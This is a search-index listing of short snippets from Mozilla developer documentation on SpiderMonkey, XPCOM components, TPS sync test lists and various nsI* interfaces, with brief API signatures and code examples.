note that certain jsapi functions automatically do this for uncaught exceptions; see "automatic handling of uncaught exceptions" in the jsapi user guide.
JS_SealObject
as of spidermonkey 1.8.5, js_sealobject has been removed from the jsapi, because ecmascript 5 includes a "seal" concept (namely, that of object.seal) which is quite different from that of js_sealobject.
JS_SetCompartmentNameCallback
if the runtime has no jscompartmentnamecallback, a compartment will be named "<unknown>"</unknown>.
SpiderMonkey 24
get it here mozilla-esr24 if the download url is outdate you will find it in "firefox extended support release 24" package on hg release platform support spidermonkey 24 is supported on all the platforms where firefox 24 runs.
SpiderMonkey 38
get it here mozilla-esr38 you will find it in "firefox extended support release 38" package on hg release platform support spidermonkey 38 is supported on all the platforms where firefox 38 runs.
SpiderMonkey 45
you may wish to make the bugs block bug 837921 (aliased as "sm.embedding").
Running Parsemark
generally you'll want to capture json results for your baseline and compare them to the results for the "current" version of your shell.
Split object
it serves as the "globals" object and provides the jsprincipals for scripts on that page.
TPS Formdata Lists
for example: var formdata1 = [ { fieldname: "testing", value: "success", date: -1 }, { fieldname: "testing", value: "failure", date: -2 }, { fieldname: "username", value: "joe" } ]; formdata lists and phase actions you can use the following functions in phase actions for formdata lists: formdata.add formdata.delete formdata.verify formdata.verifynot for an example, see the tps formdata unittest: http://hg.mozilla.org/services/tps/f...st_formdata.js notes note 1, tps sup...
TPS Password Lists
for example: var password_list = [ { hostname: "http://www.example.com", submiturl: "http://login.example.com", username: "joe", password: "secret123", usernamefield: "uname", passwordfield: "pword", changes: { password: "zippity-do-dah" } }, { hostname: "http://www.example.com", realm: "login", username: "joe", password: "secretlogin" } ]; each object has the following properties: hostname: the hostname for the password.
TPS Pref Lists
for example: var prefs1 = [ { name: "browser.startup.homepage", value: "http://www.getfirefox.com" }, { name: "browser.urlbar.maxrichresults", value: 20 }, { name: "browser.tabs.autohide", value: true } ]; pref lists and phase actions the only actions supported for preference asset lists are modify and verify: prefs.modify prefs.verify sync only syncs certain preferences.
TPS Tab Lists
for example: var tabs1 = [ { uri: "http://hg.mozilla.org/automation/crossweave/raw-file/2d9aca9585b6/pages/page1.html", title: "crossweave test page 1", profile: "profile1" }, { uri: "data:text/html,<html><head><title>hello</title></head><body>hello</body></html>", title: "hello", profile: "profile1" } ]; tab lists and phase actions tabs cannot be modified or deleted, only added or verified with the following functions: tabs.add - opens the specified tabs in the browser window.
Mozinfo
mozinfo also exports: choices: a dictionary of possible values for os, bits, and processor main: the console_script entry point for mozinfo unknown: a singleton denoting a value that cannot be determined unknown has the string representation "unknown".
Security and the jar protocol
any other file type results in an "unsafe file type" error.
Animated PNG graphics
MozillaTechAPNG
removed num_frames from 'anim' chunk from 0.3 added 'actl', 'fdat', 'fctl' chunk descriptions as per the latest png-list discussion added section 4, "interactions with other png chunks"; described global and local palettes and transparency changed 'offs' chunk section to refer to more general chunks updated 'adat' description to indicate that all frames must either be in a single chunk, or that the first chunk must have empty data.
ROLE_ALERT
used by aria: alert, alertdialog xul: <notification/>, <panel noautofocus = "true"/> ...
Gecko Roles
role_spinbutton represents a spin box, which is a control that allows the user to increment or decrement the value displayed in a separate "buddy" control associated with the spin box.
Gecko states
state_floating children "owned" not "contained" by parent state_checkable indicates scrolling or moving text or graphics.
XForms Accessibility
for firefox, you may directly download the nighly "trunk" build of firefox and install the xforms extension which lives in 'xpi' directory of the build.
Places
the places "frecency" algorithm the algorithm behind the places location bar (sometimes called the "awesomebar").
extISessionStorage
return type method boolean has(in astring aname) void set(in astring aname, in nsivariant avalue) nsivariant get(in astring aname, in nsivariant adefaultvalue) attributes attribute type description events readonly attribute extievents the events object for the storage supports: "change" methods has() determines if a storage item exists with the given name.
Generic factory
#include "nsifactory.h" class nsgenericfactory : public nsifactory { public: typedef nsresult (*creatorprocptr) (nsisupports *aouter, refnsiid aiid, void **aresult); nsgenericfactory(creatorprocptr creator); virtual ~nsgenericfactory(); ns_decl_isupports ns_imethod createinstance(nsisupports *aouter, refnsiid aiid, void **aresult); ns_im...
XPCOM Glue without mozalloc
simply change all references to "xpcomglue_s" in your compiler and linker flags to "xpcomglue_s_nomozalloc".
Resources
block resources weblock installer and information the sdk download linux: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-i686-pc-linux-gnu-1.4a.tar.gz windows: http://ftp.mozilla.org/pub/mozilla/releases/mozilla1.4a/gecko-sdk-win32-1.4a.zip other mozilla downloads gecko resources internal string guide external string guide the gecko networking library ("necko") the netscape portable runtime environment embedding mozilla current module owners xpinstall xul xpcom resources the xpcom project page xulplanet's online xpcom reference information on xpconnect and scriptable components the smart pointer guide xpidl xpidl compiler reference general development resources the world wide web consortium url specification at the w3 gnu ma...
Detailed XPCOM hashtable guide
mozilla's hashtable implementations mozilla has several hashtable implementations, which have been tested and, tuned, and hide the inner complexities of hashtable implementations: pldhash - low-level c api; stores keys and data in one large memory structure; uses the heap efficiently; client must declare an "entry class" and may not hold onto entry pointers.
mozilla::services namespace
to use it, you first need to include the header into your c++ file: #include "mozilla/services.h" then you can obtain references to services by simply accessing them from the mozilla::services namespace.
Components.Exception
e when your exception is thrown or in other developer-facing locations, defaulting to 'exception' result the nsresult value of the exception, which defaults to components.results.ns_error_failure stack an xpcom stack to be set on the exception (defaulting to the current stack chain) data any additional data you might want to store, defaulting to null example throw components.exception("i am throwing an exception from a javascript xpcom component."); ...
Components.classesByID
usage in order to retrieve the object for a given cid, you can use that cid as an index with components.classesbyid as follows: var clazz = components.classesbyid["{ed132c20-eed1-11d2-baa4-00805f8a5dd7}"]; ...
Components.interfacesByID
usage you can retrieve an interface object using: var iface = components.interfacesbyid["{aa610f20-a889-11d3-8c81-000064657374}"]; ...
Components.isSuccessCode
if (!components.issuccesscode(statuscode)) copyfailed = true; }, queryinterface: function(aiid) { if (aiid.equals(ci.nsirequestobserver) || aiid.equals(ci.nsisupports)) return this; throw cr.ns_error_no_interface; } }; var copier = cc["@mozilla.org/network/async-stream-copier;1"] .createinstance(ci.nsiasyncstreamcopier); copier.init(instream, outstream, null, true, false, 8192, true, true); copier.asynccopy(copyobserver, null); } ...
Components.utils.isXrayWrapper
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
Development
bugs all javaxpcom bugs are tracked in bugzilla, using the "core" product and "java to xpcom bridge" component.
Using components
commonly, we start our scripts like so: var cc = components.classes; var ci = components.interfaces; if we want to get a hold of a component, we then do something like: var rc = cc["@mozilla.org/registry;1"]; var rs = rc.getservice(ci.nsiregistry); see also: xpcshell -- how to get a command line interface to javascript more info as was already stated, it is common to start addon scripts like: var cc = components.classes; var ci = components.interfaces; there is also another way to start, which is exactly equivalent to the above.
appShellService
quitting mozilla: var cc = components.classes; var ci = components.interfaces; shell = cc["@mozilla.org/appshell/appshellservice;1"]; shell = shell.getservice(ci.nsiappshellservice); shell.quit(3); // eforcequit bam!
XPCshell Test Manifest Expressions
strings: any series of characters enclosed in double quotes " or single quotes '.
xpcshell
js> 5+7 12 js> print("hello, world!") hello, world!
Monitoring HTTP activity
this is done using the nsihttpactivitydistributor.addobserver() method in nsihttpactivitydistributor: var activitydistributor = components.classes["@mozilla.org/network/http-activity-distributor;1"] .getservice(components.interfaces.nsihttpactivitydistributor); activitydistributor.addobserver(httpobserver); observable activities there are two classes of observable activities: those that occur at the socket level and those that occur at the http transaction level.
nsLocalFile
example code function getfilesize(path) { var file = components.classes["@mozilla.org/file/local;1"].
Standard XPCOM components
this service returns the locations of "well known" directories in an os-independent manner.
NS_Alloc
#include "nsxpcom.h" void* ns_alloc( prsize asize ); parameters asize [in] the size in bytes of the block to allocate.
NS_Free
#include "nsxpcom.h" void ns_free( void* aptr ); parameters aptr [in] a pointer to the block of memory to free.
NS_GetComponentManager
#include "nsxpcom.h" #include "nsicomponentmanager.h" nsresult ns_getcomponentmanager( nsicomponentmanager** aresult ); parameters aresult [out] a reference to the xpcom component manager.
NS_GetComponentRegistrar
#include "nsxpcom.h" #include "nsicomponentregistrar.h" nsresult ns_getcomponentregistrar( nsicomponentmanager** aresult ); parameters aresult [out] a reference to the xpcom component registrar.
NS_GetMemoryManager
#include "nsxpcom.h" #include "nsimemory.h" nsresult ns_getmemorymanager( nsimemory** aresult ); parameters aresult [out] a reference to the xpcom memory manager.
NS_GetServiceManager
#include "nsxpcom.h" #include "nsiservicemanager.h" nsresult ns_getservicemanager( nsiservicemanager** aresult ); parameters aresult [out] a reference to the xpcom service manager.
NS_InitXPCOM2
#include "nsxpcom.h" nsresult ns_initxpcom2( nsiservicemanager** aresult, nsifile* abindirectory, nsidirectoryserviceprovider* aappfilelocationprovider ); parameters aresult [out] the resulting xpcom service manager.
NS_InitXPCOM3
#include "nsxpcom.h" nsresult ns_initxpcom3( nsiservicemanager** aresult, nsifile* abindirectory, nsidirectoryserviceprovider* aappfilelocationprovider, nsstaticmoduleinfo const* astaticmodules, pruint32 astaticmodulecount ); parameters aresult [out] the resulting xpcom service manager.
NS_Realloc
#include "nsxpcom.h" void* ns_realloc( void* aptr, prsize asize ); parameters aptr [in] a pointer to the block of memory to reallocate.
NS_POSTCONDITION
syntax ns_postcondition(expressiontotest, "error text"); see also ns_precondition ns_assertion ...
NS_PRECONDITION
syntax ns_precondition(expressiontotest, "error text"); see also ns_assertion ns_postcondition ...
nsACString
#include "nsstringapi.h" class nsacstring { ...
nsAString
#include "nsstringapi.h" class nsastring { ...
nsCOMPtr
#include "nscomptr.h" remarks consult using nscomptr for more info.
nsCString
names: nsstring for wide characters nscstring for narrow characters this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string.
nsCStringEncoding
the native filesystem charset applies to strings passed to the "native" method variants on nsifile and nsilocalfile.
get
const char_type* get() const; example code nsembedcstring str("hello world"); printf("%s\n", str.get()); ...
nsEmbedCString
#include "nsembedstring.h" class nsembedcstring : public nsacstring { ...
nsEmbedString
#include "nsembedstring.h" // or: #include "nsstringglue.h" if inside gecko class nsembedstring : public nsastring { ...
nsMemory
#include "nsmemory.h" class nsmemory { ...
nsString
names: nsstring for wide characters nscstring for narrow characters this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string.
nsXPIDLCString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
nsXPIDLString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
XPCOM glue classes
these "glue" classes are provided to make it easier to use xpcom from c++ code.
IAccessibleEditableText
refer to the @ref _specialoffsets "special offsets for use in the iaccessibletext and iaccessibleeditabletext methods" for information about a special offset constant that can be used in iaccessibleeditabletext methods.
IAccessibleHyperlink
this interface could also be applied to other kinds of objects with multiple actions such as "smart tags" which are objects, typically strings, which have multiple actions such as "activate uri", "bookmark uri", end so on.
IJSDebugger
1.0 66 introduced gecko 9.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/jsdebugger;1 as a service: var jsdebugger = components.classes["@mozilla.org/jsdebugger;1"] .createinstance(components.interfaces.ijsdebugger); note: you should almost never directly use this service; instead, you should use the javascript code module that does this for you.
imgICache
use the following snippet to obtain a relevant image cache for a given document or channel (where relevantdocument is a document object that contains images you care about, or relevantchannel is an nsichannel that is used for fetching images): var tools = components.classes["@mozilla.org/image/tools;1"].getservice(components.interfaces.imgitools); var cache = tools.getimgcachefordocument(relevantdocument); // alternatively, tools.getimgcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but this will cause any image cache requests to use the permanent storage cache (ie.
imgILoader
inherits from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/image/loader;1 as a service: var imgiloader = components.classes["@mozilla.org/image/loader;1"] .getservice(components.interfaces.imgiloader); method overview imgirequest loadimage(in nsiuri auri, in nsiuri ainitialdocumenturl, in nsiuri areferreruri, in nsiprincipal aloadingprincipal, in nsiloadgroup aloadgroup, in imgidecoderobserver aobserver, in nsisupports acx, in nsloadflags aloadflags, in nsisupports cachekey, in imgirequest arequest, in nsichannelpolicy channelpolicy); imgirequest loadimagewithchannel(in nsichannel achannel, in imgide...
jsdIStackFrame
scripts typically select this with the "language" attribute.
mozIAsyncHistory
1.0 66 introduced gecko 24.0 inherits from: nsisupports last changed in gecko 24.0 (firefox 24.0 / thunderbird 24.0 / seamonkey 2.21) implemented by: @mozilla.org/browser/history;1 as a service: var asynchistory = components.classes["@mozilla.org/browser/history;1"] .getservice(components.interfaces.moziasynchistory); method overview void getplacesinfo(in jsval aplaceidentifiers, in mozivisitinfocallback acallback); void isurivisited(in nsiuri auri, in mozivisitedstatuscallback acallback); void updateplaces(in moziplaceinfo, [optional] in mozivisitinfocallback acallback); ...
mozIPersonalDictionary
to access this service, use var personaldictionary = components.classes["@mozilla.org/spellchecker/personaldictionary;1"] .getservice(components.interfaces.mozipersonaldictionary); method overview void addcorrection(in wstring word,in wstring correction, in wstring lang); void addword(in wstring word, in wstring lang); boolean check(in wstring word, in wstring lang); void endsession(); void getcorrection(in wstring word, [array, size_is(count)] out ...
mozIStorageStatement
sample code var statement = dbconn.createstatement( "select * " + "from table_name " + "where column_name like :userinput escape '/'" ); statement.params.userinput = statement.escapestringforlike(someuserinput, "/"); binding functions these functions are discussed in more detail with sample code in the overview document.
mozIStorageStatementParams
for example, say you create a statement like so: var statement = dbconn.createstatement("select * from table_name where id = :item_id"); this object would have one property, item_id, that you can use to bind a value to that named parameter like so: statement.params.item_id = 2; for more details on why you should bind parameters as opposed to hard-coding them into your statement, please see the overview document about binding parameters.
mozIStorageStatementRow
for example, say you create a statement like so: var statement = dbconn.createstatement("select id, name from table_name"); the object would have two properties, id and name, that can be used to get the value of the column after you have called mozistoragestatement.executestep() like so: while (statement.executestep()) { let id = statement.row.id; let name = statement.row.name; } see also storage mozistoragestatement ...
mozIStorageVacuumParticipant
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to create an instance of this interface, use the category manger, with the category "vacuum-participant".
nsIAboutModule
the section "firefox 4 (second approach)" provides copy paste code for working example.
nsIAccessibleEvent
example to listen to in-process accessibility invents, make your object an nsiobserver, and listen for accessible-event by using code something like this: nscomptr<nsiobserverservice> observerservice = do_getservice("@mozilla.org/observer-service;1", &rv); if (ns_succeeded(rv)) { rv = observerservice->addobserver(this, "accessible-event", pr_true); } ...
nsIAccessibleHyperLink
remarks anchors, image maps, xul:labels with class="text-link" implement this interface.
nsIAccessibleProvider
this property is used for upload, input[type="xsd:gday"] and input[type="xsd:gmonth"] xformslabel 0x00002001 used for label element.
nsIAccessibleStates
state_floating 0x00001000 children "owned" not "contained" by parent.
nsIApplicationCache
each group has one "active" cache that will service future loads.
nsIAsyncInputStream
the error code returned when an attempt is made to write to a "broken" pipe corresponds to the status code passed in when the input end of the pipe was closed, which greatly simplifies working with pipes in some cases.
nsIAsyncOutputStream
the error code returned when an attempt is made to read to a "closed" pipe corresponds to the status code passed in when the output end of the pipe was closed, which greatly simplifies working with pipes in some cases.
nsIAuthPrompt
to create an instance, use: var authprompt = components.classes["@mozilla.org/login-manager/prompter;1"] .createinstance(components.interfaces.nsiauthprompt); method overview boolean prompt(in wstring dialogtitle, in wstring text, in wstring passwordrealm, in pruint32 savepassword, in wstring defaulttext, out wstring result); boolean promptpassword(in wstring dialogtitle, in wstring text, in wstring passwordrealm, in pruint32 savepasswo...
nsIBinaryInputStream
xpcom/io/nsibinaryinputstream.idlscriptable this interface allows consumption of primitive data types from a "binary stream" containing untagged, big-endian binary data, that is as produced by an implementation of nsibinaryoutputstream.
nsICacheService
the cache session is not "owned" by the cache service.
nsIClipboard
it empties the "logical" clipboard.
nsICommandController
to create an instance, use: var commandcontroller = components.classes["@mozilla.org/embedcomp/base-command-controller;1"] .createinstance(components.interfaces.nsicommandcontroller); method overview void docommandwithparams(in string command, in nsicommandparams acommandparams); void getcommandstatewithparams( in string command, in nsicommandparams acommandparams); methods docommandwithparams() executes the specified command with a set of parameters contained in an n...
nsIContentViewer
to create an instance, use: var contentviewer = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsicontentviewer); method overview void clearhistoryentry(); void close(in nsishentry historyentry); void destroy(); [noscript,notxpcom,nostdcall] nsiviewptr findcontainerview(); void getbounds(in nsintrectref abounds); native code only!
nsIControllers
to create an instance, use: var controllers = components.classes["@mozilla.org/xul/xul-controllers;1"] .createinstance(components.interfaces.nsicontrollers); method overview void appendcontroller(in nsicontroller controller); nsicontroller getcontrollerat(in unsigned long index); nsicontroller getcontrollerbyid(in unsigned long controllerid); unsigned long getcontrollercount(); nsicontroller getcontrollerforcommand(in stri...
nsIConverterOutputStream
to create an instance, use: var converteroutputstream = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); method overview void init(in nsioutputstream aoutstream, in string acharset, in unsigned long abuffersize, in prunichar areplacementcharacter); methods init() initialize this stream.
nsICookie2
"accessed" means creation, modification, or reading by the server.
nsICookieService
var cookiesvc = components.classes["@mozilla.org/cookieservice;1"] .getservice(components.interfaces.nsicookieservice); notifications this service broadcasts the following notifications when the cookie list is changed, or a cookie is rejected: topic subject data cookie-changed broadcast whenever the cookie list changes in some way.
nsICrashReporter
appendappnotestocrashreport() append some data to the "notes" field, to be submitted with a crash report.
nsICryptoHMAC
to create the key object use for instance: var keyobject = components.classes["@mozilla.org/security/keyobjectfactory;1"] .getservice(components.interfaces.nsikeyobjectfactory) .keyfromstring(components.interfaces.nsikeyobject.hmac, rawkeydata); exceptions thrown ns_error_invalid_arg if an unsupported algorithm type is passed.
nsICurrentCharsetListener
to create an instance, use: var currentcharsetlistener = components.classes["@mozilla.org/intl/currentcharsetlistener;1"] .createinstance(components.interfaces.nsicurrentcharsetlistener); method overview void setcurrentcharset(in wstring charset); void setcurrentcomposercharset(in wstring charset); void setcurrentmailcharset(in wstring charset); methods setcurrentcharset() void setcurrentcharset( in wstring charset ); parameters charset setcurrentcomposercharset() void setcurrentcomposercharset( in wstring charset ); paramet...
nsIDBFolderInfo
as a service: var dbfolderinfo = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsidbfolderinfo); method overview long andflags(in long flags); void changeexpungedbytes(in long delta); void changenummessages(in long delta); void changenumunreadmessages(in long delta); boolean getbooleanproperty(in ...
nsIDOMEvent
any new event type must not begin with any upper, lower, or mixed case version of the string "dom".
nsIDOMFile
the nsidomfile interface retrieves data from a file submitted to a form using the input type "file".
nsIDOMFileList
the nsidomfilelist interface contains a list of nsidomfile objects describing the files selected by the user for a "file" input field on a web form.
nsIDOMFileReader
to create an instance, use: var filereader = components.classes["@mozilla.org/files/filereader;1"].createinstance(components.interfaces.nsidomfilereader); this interface implements the dom filereader object; see that documentation for details.
nsIDOMGeoGeolocation
starting in gecko 1.9.2, you can access this service using: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsidomgeogeolocation); note: if nsidgeogeolocation throws an exception when importing, try using this: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsisupports); method overview void clearwatch(in unsigned short wat...
nsIDOMMouseScrollEvent
must be one of "abort", "error", "load", "loadstart", or "progress".
nsIDOMMozNetworkStats
to create an instance, use: var networkstatsmanager = components.classes["@mozilla.org/networkstats;1"] .createinstance(components.interfaces.nsidomnetworkstats); attributes attribute type description connectiontype domstring connection type of the stats.
nsIDOMOrientationEvent
must be "mozorientation".
nsIDOMProgressEvent
must be one of "abort", "error", "load", "loadstart", or "progress".
nsIDOMSerializer
to create an instance, use: var domserializer = components.classes["@mozilla.org/xmlextras/xmlserializer;1"] .createinstance(components.interfaces.nsidomserializer); method overview void serializetostream(in nsidomnode root, in nsioutputstream stream, in autf8string charset); astring serializetostring(in nsidomnode root); methods serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the ch...
nsIDOMWindowInternal
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">open(in domstring url, in domstring name, in domstring options) nsidomwindow nsisupports aextraargument) void close() void updatecommands(in domstring action) boolean find([optional] in domstring str,[optional] in boolean casesensitive, [optional] in boolean backwards, [optional] in boolean wraparound, [optional] in boolean wholeword, [optional] in boolean sea...
nsIDOMXPathEvaluator
to create an instance, use: var domxpathevaluator = components.classes["@mozilla.org/dom/xpath-evaluator;1"] .createinstance(components.interfaces.nsidomxpathevaluator); method overview nsidomxpathexpression createexpression(in domstring expression, in nsidomxpathnsresolver resolver) nsidomxpathnsresolver creatensresolver(in nsidomnode noderesolver); nsisupports evaluate(in domstring expression, in nsidomnode contextnode, in nsidomxpathnsresolver resolver, in unsigned short type, in nsisupports...
nsIDirectoryServiceProvider
__definegetter__("currdir", function getcurrdir() { return components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsidirectoryserviceprovider) .getfile("curworkd",{}).path; }); test it with to see the magic happen.
nsIDirectoryServiceProvider2
use an xpcom return code of ns_success_aggregate_result if this result should be aggregated with other "lower" providers.
nsIDocShell
apostdatastream post data stream (if posting) aheadersstream stream containing "extra" request headers.
nsIDocumentLoader
to create an instance, use: var documentloader = components.classes["@mozilla.org/docloaderservice;1"] .createinstance(components.interfaces.nsidocumentloader); method overview void clearparentdocloader(); obsolete since gecko 1.8 void createdocumentloader(out nsidocumentloader aninstance); obsolete since gecko 1.8 void destroy(); obsolete since gecko 1.8 void fireonlocationchange(in nsiwebprogress awebprogr...
nsIDownloadProgressListener
example var dm = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); dm.addlistener({ onsecuritychange : function(prog, req, state, dl) { }, onprogresschange : function(prog, req, prog, progmax, tprog, tprogmax, dl) { }, onstatechange : function(prog, req, flags, status, dl) { }, ondownloadstatechange : function(state, dl) { } }); even if you do not want to ...
nsIDynamicContainer
anewindex the index at which the container will be inserted, or "-1" to append to the end of the list.
nsIEditor
editorapi.outputtostring('text/html', 8); // xml: all in xml with _moz_dirty="" in new tags, html tags are in upper case // application/xhtml+xml format do the same editorapi.outputtostring('text/xml', 2); // the body is not recognized, everything is printed void outputtostream(in nsioutputstream astream, in astring formattype, in acstring charsetoverride, in unsigned long flags); listener methods void addeditorobserver(in nsieditorobserver o...
nsIEnumerator
} iter.next(); } while( components.lastresult == 0 ); } catch(e) {} search for e-mail from "warren harris" dated 04/21/1999 time 16:11:03 for some notes on the subject.
nsIEventListenerService
to create an instance, use: var eventlistenerservice = components.classes["@mozilla.org/eventlistenerservice;1"] .getservice(components.interfaces.nsieventlistenerservice); universalxpconnect privileges are required to use this service.
nsIException
null indicates "no data" read only.
ExtensionManager (Toolkit)
examples here is how to retrive all the extensions installed: var em = cc['@mozilla.org/extensions/manager;1'] .getservice(ci.nsiextensionmanager); const nsiupdateitem = ci.nsiupdateitem; var extension_type = nsiupdateitem.type_extension; items = em.getitemlist(extension_type, {}); items.foreach(function(item, index, array) { alert(item.name + " / " + item.id + " version: " + item.version); }); ...
nsIExternalHelperAppService
to access this service, use: var externalhelperappservice = components.classes["@mozilla.org/uriloader/external-helper-app-service;1"] .getservice(components.interfaces.nsiexternalhelperappservice); method overview boolean applydecodingforextension(in autf8string aextension, in acstring aencodingtype); nsistreamlistener docontent(in acstring amimecontenttype, in nsirequest arequest, in nsiinterfacerequestor awindowcontext, in ...
nsIFaviconDataCallback
void oncomplete( in nsiuri auri, in unsigned long adatalen, [const,array,size_is(adatalen)] in octet adata, in autf8string amimetype ); parameters auri receives the "favicon uri" (not the "favicon link uri") associated to the requested page.
nsIFeed
for example, to skip fetching on mondays, a feed that does not want to be fetched on mondays would specify "monday" in this array.
nsIFeedProcessor
to create an instance, use: var feedprocessor = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); method overview void parseasync(in nsirequestobserver requestobserver, in nsiuri uri); void parsefromstream(in nsiinputstream stream, in nsiuri uri); void parsefromstring(in astring str, in nsiuri uri); attributes attribute type descriptio...
nsIFocusManager
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) implemented by: @mozilla.org/focus-manager;1 as a service: var focusmanager = components.classes["@mozilla.org/focus-manager;1"] .getservice(components.interfaces.nsifocusmanager); method overview void clearfocus(in nsidomwindow awindow); void contentremoved(in nsidocument adocument, in nsicontent aelement); native code only!
nsIGSettingsService
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/gsettings-service;1 as a service: var gsettingsservice = components.classes["@mozilla.org/gsettings-service;1"] .createinstance(components.interfaces.nsigsettingsservice); method overview nsigsettingscollection getcollectionforschema(in autf8string schema); methods getcollectionforschema() nsigsettingscollection getcollectionforschema( in autf8string schema ); parameters schema return value ...
nsIHapticFeedback
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/widget/hapticfeedback;1 as a service: var hapticfeedback = components.classes["@mozilla.org/widget/hapticfeedback;1"] .getservice(components.interfaces.nsihapticfeedback); once you have the service, you can initiate haptic feedback (that is, cause the device to vibrate, if it's supported) by calling performsimpleaction(): hapticfeedback.performsimpleaction(components.interfaces.nsihapticfeedback.longpress); method overview void performsimpleaction(...
nsIHttpActivityDistributor
1.0 66 introduced gecko 1.9.2 inherits from: nsihttpactivityobserver last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) implemented by: mozilla.org/network/http-activity-distributor;1 as a service: var httpactivitydistributor = components.classes["@mozilla.org/network/http-activity-distributor;1"] .getservice(components.interfaces.nsihttpactivitydistributor); method overview void addobserver(in nsihttpactivityobserver aobserver); void removeobserver(in nsihttpactivityobserver aobserver); methods addobserver() begins delivery of notifications of http transport activity.
nsIINIParserFactory
example obtaining a parser object to obtain a parser for an ini file, you can use code that looks like this: to get an nsiiniparser instance for an ini file, you may use the following code: // create an nsilocalfile var cl = "@mozilla.org/file/local;1"; var interf = components.interfaces.nsilocalfile; var file = components.classes[cl].createinstance(interf); // init the file with the path to your ini file var path = "c:\\temp\\example.ini"; file.initwithpath(path); // create the nsiiniparserfactory var cl = "@mozilla.org/xpcom/ini-parser-factory;1"; var interf = components.interfaces.nsiiniparserfactory; var inifact ...
nsIInstallLocation
you can get the install location of a particular add-on using nsiextensionmanager interface: var il = components.classes["@mozilla.org/extensions/manager;1"] .getservice(components.interfaces.nsiextensionmanager) .getinstalllocation("add-on id") method overview astring getidforlocation(in nsifile file); nsifile getitemfile(in astring id, in astring path); nsifile getitemlocation(in astring id); nsifile getstagefile(in astring id); boolean itemismanagedindependently(i...
nsIJetpack
individual lines of the form //@line 1 "foo.js" can be used to specify filename and line number information for debugging purposes.
nsILivemarkService
to use this service, use: var livemarkservice = components.classes["@mozilla.org/browser/livemark-service;2"] .getservice(components.interfaces.nsilivemarkservice); method overview long long createlivemark(in long long folder, in astring name, in nsiuri siteuri, in nsiuri feeduri, in long index); long long createlivemarkfolderonly(in long long folder, in astring name, in nsiuri siteuri, in nsiuri feeduri, in long index); ...
nsILoadGroup
ts from: nsirequest last changed in gecko 1.7 method overview void addrequest(in nsirequest arequest, in nsisupports acontext); void removerequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatus); attributes attribute type description activecount unsigned long returns the count of "active" requests (that is requests without the load_background bit set).
nsILocale
a locale code is of the form language[-country[-region]], where "language" is an iso 639 language code (two letter codes preferred over three letter codes when available), "country" is an iso 3166 two letter country code, and "region" is a string of up to 5 letters.
nsILoginManagerCrypto
note: the current implemention of this inferface simply uses nss/psm's "secret decoder ring" service.
nsILoginManagerPrompter
to call this service, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getservice(components.interfaces.nsiloginmanagerprompter); method overview void init(in nsidomwindow awindow); void prompttochangepassword(in nsilogininfo aoldlogin, in nsilogininfo anewlogin); void prompttochangepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo anewlogin); ...
nsILoginMetaInfo
for example, "{d4e1a1f6-5ea0-40ee-bff5-da57982f21cf}" timecreated unsigned long long the time, in unix epoch milliseconds, when the login was first created.
nsIMarkupDocumentViewer
this may be either "logical" or "visual".
nsIMemoryMultiReporter
attributes attribute type description explicitnonheap print64 the sum of all of this multi-reporter's measurements that have a path that starts with "explicit" and are of the kind kind_nonheap.
nsIMemoryReporter
as of gecko 6.0, the path should start with "explicit/" if the memory report accounts for all memory reported under sub-paths.
nsIMemoryReporterManager
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by @mozilla.org/memory-reporter-manager;1 as a service: var reportermanager = components.classes["@mozilla.org/memory-reporter-manager;1"] .getservice(components.interfaces.nsimemoryreportermanager); each memory reporter object, which implements nsimemoryreporter interface, provides information for a given code area.
nsIMessageListenerManager
to access this service, use: var globalmm = components.classes["@mozilla.org/globalmessagemanager;1"] .getservice(components.interfaces.nsimessagelistenermanager); method overview void addmessagelistener(in astring messagename, in nsimessagelistener listener, [optional] in boolean listenwhenclosed) void removemessagelistener(in astring messagename, ...
nsIMicrosummaryService
